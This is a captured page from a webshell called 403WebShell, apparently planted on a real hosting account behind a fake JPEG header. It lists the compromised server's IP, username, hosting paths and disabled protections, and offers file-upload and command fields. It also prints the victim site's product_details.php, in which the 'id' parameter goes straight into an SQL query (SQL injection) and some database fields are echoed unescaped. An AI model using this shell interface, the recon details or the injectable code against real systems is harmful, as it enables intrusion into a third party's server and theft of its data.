���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 88.222.243.122  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/rfconnector.info/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/rfconnector.info/public_html/product_details.php
<?php
include('includes/config.php');

if (isset($_GET['id'])) {
    $product_id = $_GET['id'];
    $query = "SELECT * FROM products WHERE id = '$product_id'"; // Fetch the product
    $result = mysqli_query($con, $query);

    if (!$result) {
        die("Product Details Query Failed: " . mysqli_error($con));
    }

    $product = mysqli_fetch_assoc($result);

    if (isset($product['productImage1'])) {
        $imagePath = $product['productImage1']; // If product image exists
    } else {
        $imagePath = ''; // If no image, set default
    }

    // Handle the image path
    if (!empty($imagePath)) {
        if (!str_starts_with($imagePath, "uploads/")) {
            $imagePath = "product-admin/uploads/" . $imagePath;
        } else {
            $imagePath = "product-admin/" . $imagePath;
        }
    } else {
        $imagePath = "product-admin/no-image.jpg"; // Default image if no image is set
    }
}
?>

<!doctype html>
<html lang="en">

<head>
    <!-- :: Required Meta Tags -->
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="keywords" content="">

    <!-- :: Title -->
    <title><?php echo isset($product['productName']) ? $product['productName'] : "Product Details"; ?></title>
    <?php include('include/assets.php'); ?>
</head>

<body>

    <?php include('include/header.php'); ?>

    <!-- :: Breadcrumb Header -->
    <section class="breadcrumb-header style-2" id="page" style="background: radial-gradient(circle, rgb(235 27 35) -24%, rgb(63 71 204) 100%); filter: saturate(0.5);;">
        <div class="overlay"></div>
        <div class="container">
            <div class="row">
                <div class="col-md-8">
                    <div class="banner">
                        <h1>Product Details</h1>
                        <ul>
                            <li><a href="index.html">Home</a></li>
                            <li><i class="fas fa-angle-right"></i></li>
                            <li>Product Details</li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <!-- :: Product Details -->
    <section class="products-details py-100-70">
        <div class="container">
            <div class="row">
                <div class="col-lg-12">
                    <div class="products-details-content">
                        <div class="row">
                            <div class="col-md-6">
                                <div class="img-box">
                                    <div class="owl-carousel owl-theme">
                                        <div class="item">
                                            <img class="img-fluid" src="<?php echo $imagePath; ?>" alt="Product Image">
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="col-md-6">
                                <div class="text-box">
                                    <h3 class="title-product"><?php echo isset($product['productName']) ? htmlspecialchars($product['productName']) : "Product Name Not Available"; ?></h3>
                                    <p class="item-explain"><?php echo isset($product['productDescription']) ? ($product['productDescription']) : "No Description Available"; ?></p>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <?php include('include/footer.php'); ?>

</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit